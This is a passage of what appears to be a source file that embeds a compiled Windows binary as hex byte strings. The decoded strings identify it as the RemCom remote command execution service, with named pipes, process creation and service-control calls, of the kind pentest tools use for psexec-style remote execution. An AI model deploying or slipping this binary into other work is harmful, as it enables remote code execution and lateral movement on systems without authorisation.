\\\nb'e878dbffff50e89e0c000083c41085c07d0583cbffeb118b461c3bc7740a50e8f998ff' \\\nb'ff59897e1c897e0c8bc35f5e5b5dc36a0c6848c84000e86096ffff834de4ff33c08b75' \\\nb'0833ff3bf70f95c03bc7751de87d98ffffc700160000005757575757e85a9bffff83c4' \\\nb'1483c8ffeb0cf6460c40740c897e0c8b45e4e86396ffffc356e8379cffff59897dfc56' \\\nb'e82affffff598945e4c745fcfeffffffe805000000ebd58b750856e8859cffff59c36a' \\\nb'106868c84000e8e495ffff8b450883f8fe7513e80d98ffffc7000900000083c8ffe9aa' \\\nb'00000033db3bc37c083b05c0fc4000721ae8ec97ffffc700090000005353535353e8c9' \\\nb'9affff83c414ebd08bc8c1f9058d3c8de0fc40008bf083e61fc1e6068b0f0fbe4c0e04' \\\nb'83e10174c650e8c303000059895dfc8b07f6440604017431ff7508e8370300005950ff' \\\nb'156cb1400085c0750bff1580b040008945e4eb03895de4395de47419e88b97ffff8b4d' \\\nb'e48908e86e97ffffc70009000000834de4ffc745fcfeffffffe8090000008b45e4e85f' \\\nb'95ffffc3ff7508e8f903000059c38bff558bec83ec145657ff75088d4dece8c89cffff' \\\nb'8b45108b750c33ff3bc7740289303bf7752ce81997ffff5757575757c70016000000e8' \\\nb'f699ffff83c414807df80074078b45f4836070fd33c0e9d8010000397d14740c837d14' \\\nb'027cc9837d14247fc38b4dec538a1e897dfc8d7e0183b9ac000000017e178d45ec500f' \\\nb'b6c36a0850e83e0900008b4dec83c40ceb108b91c80000000fb6c30fb7044283e00885' \\\nb'c074058a1f47ebc780fb2d7506834d1802eb0580fb2b75038a1f478b451485c00f8c4b' \\\nb'01000083f8010f844201000083f8240f8f3901000085c0752a80fb307409c745140a00' \\\nb'0000eb348a073c78740d3c587409c7451408000000eb21c7451410000000eb0a83f810' \\\nb'751380fb30750e8a073c7874043c587504478a1f478bb1c8000000b8ffffffff33d2f7' \\\nb'75140fb6cb0fb70c4ef6c10474080fbecb83e930eb1bf7c10301000074318acb80e961' \\\nb'80f9190fbecb770383e92083c1c93b4d147319834d18083945fc722775043bca762183' \\\nb'4d1804837d100075238b45184fa8087520837d100074038b7d0c8365fc00eb5b8b5dfc' \\\nb'0faf5d1403d9895dfc8a1f47eb8bbeffffff7fa804751ba801753d83e0027409817dfc' \\\nb'00000080770985c0752b3975fc7626e87895fffff6451801c700220000007406834dfc' \\\nb'ffeb0ff64518026a00580f95c003c68945fc8b451085c074028938f64518027403f75d' \\\nb'fc807df80074078b45f4836070fd8b45fceb188b451085c074028930807df80074078b' \\\nb'45f4836070fd33c05b5f5ec9c38bff558bec33c050ff7510ff750cff7508390550fb40' \\\nb'0075076838e74000eb0150e8abfdffff83c4145dc38bff558bec8b4d085333db3bcb56' \\\nb'577c5b3b0dc0fc400073538bc1c1f8058bf18d3c85e0fc40008b0783e61fc1e60603c6' \\\nb'f640040174358338ff7430833d10e0400001751d2bcb7410497408497513536af4eb08' \\\nb'536af5eb03536af6ff1570b140008b07830c06ff33c0eb15e87a94ffffc70009000000' \\\nb'e88294ffff891883c8ff5f5e5b5dc38bff558bec8b450883f8fe7518e86694ffff8320' \\\nb'00e84b94ffffc7000900000083c8ff5dc35633f63bc67c223b05c0fc4000731a8bc883' \\\nb'e01fc1f9058b0c8de0fc4000c1e00603c1f64004017524e82594ffff8930e80b94ffff' \\\nb'5656565656c70009000000e8e896ffff83c41483c8ffeb028b005e5dc36a0c6888c840' \\\nb'00e8ac91ffff8b7d088bc7c1f8058bf783e61fc1e606033485e0fc4000c745e4010000' \\\nb'0033db395e0875366a0ae8a4b4ffff59895dfc395e08751a68a00f00008d460c50e8b0' \\\nb'c2ffff595985c07503895de4ff4608c745fcfeffffffe830000000395de4741d8bc7c1' \\\nb'f80583e71fc1e7068b0485e0fc40008d44380c50ff15d4b040008b45e4e86c91ffffc3' \\\nb'33db8b7d086a0ae864b3ffff59c38bff558bec8b45088bc883e01fc1f9058b0c8de0fc' \\\nb'4000c1e0068d44010c50ff15d8b040005dc38bff558bec83ec10a100e0400033c58945' \\\nb'fc5633f63935c0ed4000744f833d84ee4000fe7505e8cf070000a184ee400083f8ff75' \\\nb'07b8ffff0000eb70568d4df0516a018d4d085150ff157cb1400085c07567833dc0ed40' \\\nb'000275daff1580b0400083f87875cf8935c0ed400056566a058d45f4506a018d450850' \\\nb'56ff1578b1400050ff15f0b040008b0d84ee400083f9ff74a2568d55f052508d45f450' \\\nb'51ff1574b1400085c0748d668b45088b4dfc33cd5ee8bc7dffffc9c3c705c0ed400001' \\\nb'000000ebe38bff558bec83ec1053568b750c33db3bf37415395d107410381e75128b45' \\\nb'083bc3740533c966890833c05e5bc9c3ff75148d4df0e8c197ffff8b45f0395814751f' \\\nb'8b45083bc37407660fb60e668908385dfc74078b45f8836070fd33c040ebca8d45f050' \\\nb'0fb60650e8ebd6ffff595985c0747d8b45f08b88ac00000083f9017e25394d107c2033' \\\nb'd2395d080f95c252ff750851566a09ff7004ff1558b1400085c08b45f075108b4d103b' \\\nb'88ac0000007220385e01741b8b80ac000000385dfc0f8465ffffff8b4df8836170fde9' \\\nb'59ffffffe88c91ffffc7002a000000385dfc74078b45f8836070fd83c8ffe93affffff' \\\nb'33c0395d080f95c050ff75088b45f06a01566a09ff7004ff1558b1400085c00f853aff' \\\nb'ffffebba8bff558bec6a00ff7510ff750cff7508e8d4feffff83c4105dc3558bec83ec' \\\nb'08897dfc8975f88b750c8b7d088b4d10c1e907eb068d9b00000000660f6f06660f6f4e' \\\nb'10660f6f5620660f6f5e30660f7f07660f7f4f10660f7f5720660f7f5f30660f6f6640' \\\nb'660f6f6e50660f6f7660660f6f7e70660f7f6740660f7f6f50660f7f7760660f7f7f70' \\\nb'8db6800000008dbf800000004975a38b75f88b7dfc8be55dc3558bec83ec1c897df489' \\\nb'75f8895dfc8b5d0c8bc3998bc88b450833ca2bca83e10f33ca2bca998bf833fa2bfa83' \\\nb'e70f33fa2bfa8bd10bd7754a8b75108bce83e17f894de83bf174132bf1565350e827ff' \\\nb'ffff83c40c8b45088b4de885c974778b5d108b550c03d32bd18955ec03d82bd9895df0' \\\nb'8b75ec8b7df08b4de8f3a48b4508eb533bcf7535f7d983c110894de48b750c8b7d088b' \\\nb'4de4f3a48b4d08034de48b550c0355e48b45102b45e4505251e84cffffff83c40c8b45' \\\nb'08eb1a8b750c8b7d088b4d108bd1c1e902f3a58bca83e103f3a48b45088b5dfc8b75f8' \\\nb'8b7df48be55dc3cccccccccccccccccc518d4c24082bc883e10f03c11bc90bc159e98a' \\\nb'7effff518d4c24082bc883e10703c11bc90bc159e9747effff8bff558bec6a0a6a00ff' \\\nb'7508e86bfaffff83c40c5dc38bff558bec83ec0ca100e0400033c58945fc6a068d45f4' \\\nb'506804100000ff7508c645fa00ff1550b1400085c0750583c8ffeb0a8d45f450e8aeff' \\\nb'ffff598b4dfc33cde8817affffc9c38bff558bec83ec34a100e0400033c58945fc8b45' \\\nb'108b4d188945d88b4514538945d08b00568945dc8b45085733ff894dcc897de0897dd4' \\\nb'3b450c0f845f0100008b351cb140008d4de85150ffd68b1d58b1400085c0745e837de8' \\\nb'0175588d45e850ff750cffd685c0744b837de80175458b75dcc745d40100000083feff' \\\nb'750cff75d8e88ed1ffff8bf059463bf77e5b81fef0ffff7f77538d4436083d00040000' \\\nb'772fe8cefeffff8bc43bc77438c700cccc0000eb2d5757ff75dcff75d86a01ff7508ff' \\\nb'd38bf03bf775c333c0e9d100000050e86ccaffff593bc77409c700dddd000083c00889' \\\nb'45e4eb03897de4397de474d88d04365057ff75e4e8967cffff83c40c56ff75e4ff75dc' \\\nb'ff75d86a01ff7508ffd385c0747f8b5dcc3bdf741d5757ff751c5356ff75e457ff750c' \\\nb'ff15f0b0400085c07460895de0eb5b8b1df0b04000397dd475145757575756ff75e457' \\\nb'ff750cffd38bf03bf7743c566a01e8ed8effff59598945e03bc7742b5757565056ff75' \\\nb'e457ff750cffd33bc7750eff75e0e8f78dffff59897de0eb0b837ddcff74058b4dd089' \\\nb'01ff75e4e8e4e6ffff598b45e08d65c05f5e5b8b4dfc33cde8cd78ffffc9c38bff558b' \\\nb'ec83ec1853ff75108d4de8e80393ffff8b5d088d43013d00010000770f8b45e88b80c8' \\\nb'0000000fb70458eb75895d08c17d08088d45e8508b450825ff00000050e82cd2ffff59' \\\nb'5985c074128a45086a028845f8885df9c645fa0059eb0a33c9885df8c645f900418b45' \\\nb'e86a01ff7014ff70048d45fc50518d45f8508d45e86a0150e8f9e8ffff83c42085c075' \\\nb'103845f474078b45f0836070fd33c0eb140fb745fc23450c807df40074078b4df08361' \\\nb'70fd5bc9c38bff558bec568b75085756e852f8ffff5983f8ff7450a1e0fc400083fe01' \\\nb'7509f6808400000001750b83fe02751cf640440174166a02e827f8ffff6a018bf8e81e' \\\nb'f8ffff59593bc7741c56e812f8ffff5950ff1574b0400085c0750aff1580b040008bf8' \\\nb'eb0233ff56e86ef7ffff8bc6c1f8058b0485e0fc400083e61fc1e60659c64430040085' \\\nb'ff740c57e85d8cffff5983c8ffeb0233c05f5e5dc36a1068a8c84000e8e989ffff8b45' \\\nb'0883f8fe751be8258cffff832000e80a8cffffc7000900000083c8ffe98e00000033ff' \\\nb'3bc77c083b05c0fc40007221e8fc8bffff8938e8e28bffffc700090000005757575757' \\\nb'e8bf8effff83c414ebc98bc8c1f9058d1c8de0fc40008bf083e61fc1e6068b0b0fbe4c' \\\nb'310483e10174bf50e8b9f7ffff59897dfc8b03f644300401740eff7508e8cbfeffff59' \\\nb'8945e4eb0fe8878bffffc70009000000834de4ffc745fcfeffffffe8090000008b45e4' \\\nb'e87889ffffc3ff7508e812f8ffff59c38bff558bec568b75088b460ca883741ea80874' \\\nb'1aff7608e88b8bffff81660cf7fbffff33c05989068946088946045e5dc333c050506a' \\\nb'03506a0368000000406878c44000ff1580b14000a384ee4000c3a184ee4000568b3574' \\\nb'b0400083f8ff740883f8fe740350ffd6a180ee400083f8ff740883f8fe740350ffd65e' \\\nb'c3cccccc558bec5756538b4d100bc9744d8b75088b7d0cb741b35ab6208d49008a260a' \\\nb'e48a0774270ac0742383c60183c7013ae772063ae3770202e63ac772063ac3770202c6' \\\nb'3ae0750b83e90175d133c93ae07409b9ffffffff7202f7d98bc15b5e5fc9c3cccccccc' \\\nb'cccccccccccccccccccccc8b4424088b4c24100bc88b4c240c75098b442404f7e1c210' \\\nb'0053f7e18bd88b442408f764241403d88b442408f7e103d35bc21000cccccccccccccc' \\\nb'cccccccccc8d42ff5bc38da424000000008d64240033c08a442408538bd8c1e0088b54' \\\nb'2408f7c20300000074158a0a83c2013acb74cf84c97451f7c20300000075eb0bd8578b' \\\nb'c3c1e310560bd88b0abffffefe7e8bc18bf733cb03f003f983f1ff83f0ff33cf33c683' \\\nb'c20481e100010181751c250001018174d32500010101750881e60000008075c45e5f5b' \\\nb'33c0c38b42fc3ac3743684c074ef3ae3742784e474e7c1e8103ac3741584c074dc3ae3' \\\nb'740684e474d4eb965e5f8d42ff5bc38d42fe5e5f5bc38d42fd5e5f5bc38d42fc5e5f5b' \\\nb'c3ff2534b1400000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000c6cc00' \\\nb'00a8cc00008acc000076cc000060cc000044cc000038cc00002ecc00001ccc00000ccc' \\\nb'0000f6cb0000e6cb0000d2cb0000e2cc00000000000094cb00007ecb0000accb000066' \\\nb'cb000054cb00003ecb000028cb000014cb000000cb0000f0ca0000daca0000ccca0000' \\\nb'beca0000b2ca0000a4ca000098ca0000a0cb000088ca000010cd00001ecd00002ecd00' \\\nb'003ecd000050cd000064cd000078cd000094cd0000b2cd0000c6cd0000dacd0000eccd' \\\nb'0000facd000006ce000014ce00001ece00002ece000044ce00004cce00005ace000066' \\\nb'ce00007ece000096ce0000a6ce0000bcce0000d6ce0000eece000008cf00001ecf0000' \\\nb'38cf00004acf000058cf00006acf000082cf000090cf00009ecf0000b8cf0000c8cf00' \\\nb'00e2cf0000eecf0000f8cf000004d0000016d0000026d000004ed000005ad0000066d0' \\\nb'000076d0000084d0000096d00000a6d00000b8d00000cad00000dcd00000f2d0000004' \\\nb'd1000014d1000024d1000030d1000044d1000054d1000064d100007ad100008ad10000' \\\nb'0000000000000000000000000000000037304000774240002958400001594000c64240' \\\nb'00000000000000000010a24000e8304000000000000000000000000000000000005265' \\\nb'6d436f6d53766300000053657276696365004120736572766963652043616e6e6f7420' \\\nb'62652073746172746564206469726563746c792e0a000052656d436f6d5f7374646572' \\\nb'7200000052656d436f6d5f737464696e000000005c5c2e5c706970655c257325732564' \\\nb'0052656d436f6d5f7374646f7574000000257300005c5c2e5c706970655c52656d436f' \\\nb'6d5f636f6d6d756e696361746f6e0000000058f24000b0f24000456e636f6465506f69' \\\nb'6e7465720000004b00450052004e0045004c00330032002e0044004c004c0000000000' \\\nb'4465636f6465506f696e746572000000466c734672656500466c7353657456616c7565' \\\nb'00466c7347657456616c756500466c73416c6c6f6300000000436f724578697450726f' \\\nb'6365737300006d00730063006f007200650065002e0064006c006c000000050000c00b' \\\nb'000000000000001d0000c00400000000000000960000c004000000000000008d0000c0' \\\nb'08000000000000008e0000c008000000000000008f0000c00800000000000000900000' \\\nb'c00800000000000000910000c00800000000000000920000c008000000000000009300' \\\nb'00c0080000000000000028006e0075006c006c00290000000000286e756c6c29000006' \\\nb'0000060001000010000306000602100445454505050505053530005000000000282038' \\\nb'5058070800373030575007000020200800000000086068606060600000787078787878' \\\nb'08070800000700080808000008000800070800000072756e74696d65206572726f7220' \\\nb'00000d0a0000544c4f5353206572726f720d0a00000053494e47206572726f720d0a00' \\\nb'000000444f4d41494e206572726f720d0a000052363033340d0a416e206170706c6963' \\\nb'6174696f6e20686173206d61646520616e20617474656d707420746f206c6f61642074' \\\nb'686520432072756e74696d65206c69627261727920696e636f72726563746c792e0a50' \\\nb'6c6561736520636f6e7461637420746865206170706c69636174696f6e277320737570' \\\nb'706f7274207465616d20666f72206d6f726520696e666f726d6174696f6e2e0d0a0000' \\\nb'0000000052363033330d0a2d20417474656d707420746f20757365204d53494c20636f' \\\nb'64652066726f6d207468697320617373656d626c7920647572696e67206e6174697665' \\\nb'20636f646520696e697469616c697a6174696f6e0a5468697320696e64696361746573' \\\nb'20612062756720696e20796f7572206170706c69636174696f6e2e204974206973206d' \\\nb'6f7374206c696b656c792074686520726573756c74206f662063616c6c696e6720616e' \\\nb'204d53494c2d636f6d70696c656420282f636c72292066756e6374696f6e2066726f6d' \\\nb'2061206e617469766520636f6e7374727563746f72206f722066726f6d20446c6c4d61' \\\nb'696e2e0d0a000052363033320d0a2d206e6f7420656e6f75676820737061636520666f' \\\nb'72206c6f63616c6520696e666f726d6174696f6e0d0a00000000000052363033310d0a' \\\nb'2d20417474656d707420746f20696e697469616c697a652074686520435254206d6f72' \\\nb'65207468616e206f6e63652e0a5468697320696e646963617465732061206275672069' \\\nb'6e20796f7572206170706c69636174696f6e2e0d0a000052363033300d0a2d20435254' \\\nb'206e6f7420696e697469616c697a65640d0a000052363032380d0a2d20756e61626c65' \\\nb'20746f20696e697469616c697a6520686561700d0a0000000052363032370d0a2d206e' \\\nb'6f7420656e6f75676820737061636520666f72206c6f77696f20696e697469616c697a' \\\nb'6174696f6e0d0a0000000052363032360d0a2d206e6f7420656e6f7567682073706163' \\\nb'6520666f7220737464696f20696e697469616c697a6174696f6e0d0a00000000523630' \\\nb'32350d0a2d2070757265207669727475616c2066756e6374696f6e2063616c6c0d0a00' \\\nb'000052363032340d0a2d206e6f7420656e6f75676820737061636520666f72205f6f6e' \\\nb'657869742f617465786974207461626c650d0a0000000052363031390d0a2d20756e61' \\\nb'626c6520746f206f70656e20636f6e736f6c65206465766963650d0a00000000523630' \\\nb'31380d0a2d20756e65787065637465642068656170206572726f720d0a000000005236' \\\nb'3031370d0a2d20756e6578706563746564206d756c7469746872656164206c6f636b20' \\\nb'6572726f720d0a0000000052363031360d0a2d206e6f7420656e6f7567682073706163' \\\nb'6520666f722074687265616420646174610d0a000d0a54686973206170706c69636174' \\\nb'696f6e2068617320726571756573746564207468652052756e74696d6520746f207465' \\\nb'726d696e61746520697420696e20616e20756e757375616c207761792e0a506c656173' \\\nb'6520636f6e7461637420746865206170706c69636174696f6e277320737570706f7274' \\\nb'207465616d20666f72206d6f726520696e666f726d6174696f6e2e0d0a000000523630' \\\nb'30390d0a2d206e6f7420656e6f75676820737061636520666f7220656e7669726f6e6d' \\\nb'656e740d0a0052363030380d0a2d206e6f7420656e6f75676820737061636520666f72' \\\nb'20617267756d656e74730d0a00000052363030320d0a2d20666c6f6174696e6720706f' \\\nb'696e7420737570706f7274206e6f74206c6f616465640d0a000000004d6963726f736f' \\\nb'66742056697375616c20432b2b2052756e74696d65204c696272617279000000000a0a' \\\nb'00002e2e2e003c70726f6772616d206e616d6520756e6b6e6f776e3e000052756e7469' \\\nb'6d65204572726f72210a0a50726f6772616d3a20000000000000000102030405060708' \\\nb'090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b' \\\nb'2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e' \\\nb'4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f7071' \\\nb'72737475767778797a7b7c7d7e7f000680808680818000001003868086828014050545' \\\nb'4545858585050000303080508088000800282738505780000700373030505088000000' \\\nb'2028808880800000006068606868680808077870707770700808000008000800070800' \\\nb'000047657450726f6365737357696e646f7753746174696f6e00476574557365724f62' \\\nb'6a656374496e666f726d6174696f6e410000004765744c617374416374697665506f70' \\\nb'7570000047657441637469766557696e646f77004d657373616765426f784100555345' \\\nb'5233322e444c4c00000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000002000200020002000200020' \\\nb'0020002000200028002800280028002800200020002000200020002000200020002000' \\\nb'2000200020002000200020002000200020004800100010001000100010001000100010' \\\nb'0010001000100010001000100010008400840084008400840084008400840084008400' \\\nb'1000100010001000100010001000810081008100810081008100010001000100010001' \\\nb'0001000100010001000100010001000100010001000100010001000100010010001000' \\\nb'1000100010001000820082008200820082008200020002000200020002000200020002' \\\nb'0002000200020002000200020002000200020002000200020010001000100010002000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000020002000200020002000200020002000200068002800' \\\nb'2800280028002000200020002000200020002000200020002000200020002000200020' \\\nb'0020002000200048001000100010001000100010001000100010001000100010001000' \\\nb'1000100084008400840084008400840084008400840084001000100010001000100010' \\\nb'0010008101810181018101810181010101010101010101010101010101010101010101' \\\nb'0101010101010101010101010101010101010101100010001000100010001000820182' \\\nb'0182018201820182010201020102010201020102010201020102010201020102010201' \\\nb'0201020102010201020102010201100010001000100020002000200020002000200020' \\\nb'0020002000200020002000200020002000200020002000200020002000200020002000' \\\nb'2000200020002000200020002000200020004800100010001000100010001000100010' \\\nb'0010001000100010001000100010001000100014001400100010001000100010001400' \\\nb'1000100010001000100010000101010101010101010101010101010101010101010101' \\\nb'0101010101010101010101010101010101010101010101100001010101010101010101' \\\nb'0101010102010201020102010201020102010201020102010201020102010201020102' \\\nb'0102010201020102010201020102010201100002010201020102010201020102010201' \\\nb'010100000000808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c' \\\nb'9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf' \\\nb'c0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2' \\\nb'e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff000102030405' \\\nb'060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728' \\\nb'292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f406162636465666768696a6b' \\\nb'6c6d6e6f707172737475767778797a5b5c5d5e5f606162636465666768696a6b6c6d6e' \\\nb'6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f9091' \\\nb'92939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4' \\\nb'b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7' \\\nb'd8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fa' \\\nb'fbfcfdfeff808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d' \\\nb'9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0' \\\nb'c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3' \\\nb'e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff00010203040506' \\\nb'0708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20212223242526272829' \\\nb'2a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c' \\\nb'4d4e4f505152535455565758595a5b5c5d5e5f604142434445464748494a4b4c4d4e4f' \\\nb'505152535455565758595a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192' \\\nb'939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5' \\\nb'b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8' \\\nb'd9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafb' \\\nb'fcfdfeff48483a6d6d3a737300000000646464642c204d4d4d4d2064642c2079797979' \\\nb'004d4d2f64642f797900000000504d0000414d0000446563656d626572000000004e6f' \\\nb'76656d626572000000004f63746f6265720053657074656d6265720000004175677573' \\\nb'7400004a756c79000000004a756e6500000000417072696c0000004d61726368000000' \\\nb'4665627275617279000000004a616e7561727900446563004e6f76004f637400536570' \\\nb'00417567004a756c004a756e004d617900417072004d617200466562004a616e005361' \\\nb'7475726461790000000046726964617900005468757273646179000000005765646e65' \\\nb'7364617900000054756573646179004d6f6e646179000053756e646179000053617400' \\\nb'467269005468750057656400547565004d6f6e0053756e000000000053756e4d6f6e54' \\\nb'75655765645468754672695361740000004a616e4665624d61724170724d61794a756e' \\\nb'4a756c4175675365704f63744e6f7644656300000000434f4e4f555424004800000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'000000000000000000000000000000000000000000e04000d0c4400003000000000000' \\\nb'0000000000502b0000585d0000808f0000000000000000000000000000000000000000' \\\nb'0000feffffff00000000d4ffffff00000000feffffffe3184000f718400000000000fe' \\\nb'ffffff00000000d4ffffff00000000feffffff00000000cf1a400000000000feffffff' \\\nb'00000000ccffffff00000000feffffff681d40007c1d400000000000feffffff000000' \\\nb'00d4ffffff00000000feffffff0000000029214000feffffff0000000038214000feff' \\\nb'ffff00000000d8ffffff00000000feffffff00000000eb224000feffffff00000000f7' \\\nb'224000feffffff00000000d8ffffff00000000feffffff1b2640002f26400000000000' \\\nb'feffffff00000000c8ffffff00000000feffffff00000000d528400000000000feffff' \\\nb'ff00000000d4ffffff00000000feffffff00000000bd2d400000000000feffffff0000' \\\nb'0000d4ffffff00000000feffffffe2414000fe41400000000000feffffff000000008c' \\\nb'ffffff00000000feffffff5f4b4000634b400000000000feffffff00000000d4ffffff' \\\nb'00000000feffffff00000000034e400000000000feffffff00000000d4ffffff000000' \\\nb'00feffffff000000005851400000000000feffffff00000000d4ffffff00000000feff' \\\nb'ffff000000002254400000000000feffffff00000000ccffffff00000000feffffff00' \\\nb'000000f057400000000000feffffff00000000d4ffffff00000000feffffff00000000' \\\nb'6859400000000000feffffff00000000d8ffffff00000000feffffffc6594000ca5940' \\\nb'0000000000feffffff00000000c0ffffff00000000feffffff00000000c05b40000000' \\\nb'0000feffffff00000000d0ffffff00000000feffffff505c4000675c400000000000fe' \\\nb'ffffff00000000d4ffffff00000000feffffff000000002569400000000000feffffff' \\\nb'00000000d4ffffff00000000feffffff00000000ef6a400000000000feffffff000000' \\\nb'00d0ffffff00000000feffffff00000000546c400000000000feffffff00000000d0ff' \\\nb'ffff00000000feffffff00000000c76d400000000000feffffff00000000ccffffff00' \\\nb'000000feffffff00000000516f400000000000000000001d6f4000feffffff00000000' \\\nb'ccffffff00000000feffffff000000008974400000000000feffffff00000000d0ffff' \\\nb'ff00000000feffffff00000000987c400000000000feffffff00000000d0ffffff0000' \\\nb'0000feffffff000000002c8e400000000000feffffff00000000d4ffffff00000000fe' \\\nb'ffffff00000000ed94400000000000feffffff00000000d0ffffff00000000feffffff' \\\nb'00000000cf95400000000000feffffff00000000d4ffffff00000000feffffff000000' \\\nb'00c299400000000000feffffff00000000d0ffffff00000000feffffff00000000b6a1' \\\nb'40003cc900000000000000000000c4cb00003cb0000000c90000000000000000000002' \\\nb'cd000000b000000000000000000000000000000000000000000000c6cc0000a8cc0000' \\\nb'8acc000076cc000060cc000044cc000038cc00002ecc00001ccc00000ccc0000f6cb00' \\\nb'00e6cb0000d2cb0000e2cc00000000000094cb00007ecb0000accb000066cb000054cb' \\\nb'00003ecb000028cb000014cb000000cb0000f0ca0000daca0000ccca0000beca0000b2' \\\nb'ca0000a4ca000098ca0000a0cb000088ca000010cd00001ecd00002ecd00003ecd0000' \\\nb'50cd000064cd000078cd000094cd0000b2cd0000c6cd0000dacd0000eccd0000facd00' \\\nb'0006ce000014ce00001ece00002ece000044ce00004cce00005ace000066ce00007ece' \\\nb'000096ce0000a6ce0000bcce0000d6ce0000eece000008cf00001ecf000038cf00004a' \\\nb'cf000058cf00006acf000082cf000090cf00009ecf0000b8cf0000c8cf0000e2cf0000' \\\nb'eecf0000f8cf000004d0000016d0000026d000004ed000005ad0000066d0000076d000' \\\nb'0084d0000096d00000a6d00000b8d00000cad00000dcd00000f2d0000004d1000014d1' \\\nb'000024d1000030d1000044d1000054d1000064d100007ad100008ad1000000000000e6' \\\nb'014765744c6173744572726f720000d3035365744576656e7400004300436c6f736548' \\\nb'616e646c6500fd024c6f63616c4672656500f9024c6f63616c416c6c6f63000033034f' \\\nb'70656e50726f6365737300aa0147657443757272656e7450726f636573734964007200' \\\nb'4372656174654576656e744100005600436f6e6e6563744e616d65645069706500008f' \\\nb'004372656174654e616d656450697065410000c50147657445786974436f646550726f' \\\nb'636573730000640457616974466f7253696e676c654f626a6563740094004372656174' \\\nb'6550726f63657373410000bc02496e7465726c6f636b656444656372656d656e740000' \\\nb'cd00446973636f6e6e6563744e616d656450697065008d04577269746546696c650068' \\\nb'035265616446696c650000c002496e7465726c6f636b6564496e6372656d656e740000' \\\nb'4b45524e454c33322e646c6c0000ba02536574536572766963655374617475730000d6' \\\nb'0044656c65746553657276696365005300436c6f73655365727669636548616e646c65' \\\nb'0000f4014f70656e53657276696365410000f2014f70656e53434d616e616765724100' \\\nb'001a0146726565536964000201457175616c53696400001f00416c6c6f63617465416e' \\\nb'64496e697469616c697a6553696400005401476574546f6b656e496e666f726d617469' \\\nb'6f6e00f1014f70656e50726f63657373546f6b656e00007f0252656769737465725365' \\\nb'72766963654374726c48616e646c65724100c102537461727453657276696365437472' \\\nb'6c446973706174636865724100b002536574536563757269747944657363726970746f' \\\nb'724461636c007101496e697469616c697a65536563757269747944657363726970746f' \\\nb'72000041445641504933322e646c6c000005014578697454687265616400008d035265' \\\nb'73756d655468726561640000a30043726561746554687265616400006f01476574436f' \\\nb'6d6d616e644c696e6541002d045465726d696e61746550726f636573730000a9014765' \\\nb'7443757272656e7450726f63657373003e04556e68616e646c6564457863657074696f' \\\nb'6e46696c74657200001504536574556e68616e646c6564457863657074696f6e46696c' \\\nb'74657200d1024973446562756767657250726573656e7400f9014765744d6f64756c65' \\\nb'48616e646c65570000200247657450726f634164647265737300003404546c73476574' \\\nb'56616c7565003204546c73416c6c6f6300003504546c7353657456616c756500330454' \\\nb'6c734672656500ec035365744c6173744572726f720000ad0147657443757272656e74' \\\nb'546872656164496400002104536c6565700004014578697450726f6365737300a10248' \\\nb'656170467265650000d900456e746572437269746963616c53656374696f6e0000ef02' \\\nb'4c65617665437269746963616c53656374696f6e00003b0247657453746448616e646c' \\\nb'650000f4014765744d6f64756c6546696c654e616d654100004a0146726565456e7669' \\\nb'726f6e6d656e74537472696e67734100bf01476574456e7669726f6e6d656e74537472' \\\nb'696e6773004b0146726565456e7669726f6e6d656e74537472696e677357007a045769' \\\nb'646543686172546f4d756c74694279746500c101476574456e7669726f6e6d656e7453' \\\nb'7472696e6773570000e80353657448616e646c65436f756e740000d70147657446696c' \\\nb'655479706500390247657453746172747570496e666f4100be0044656c657465437269' \\\nb'746963616c53656374696f6e009f024865617043726561746500005704566972747561' 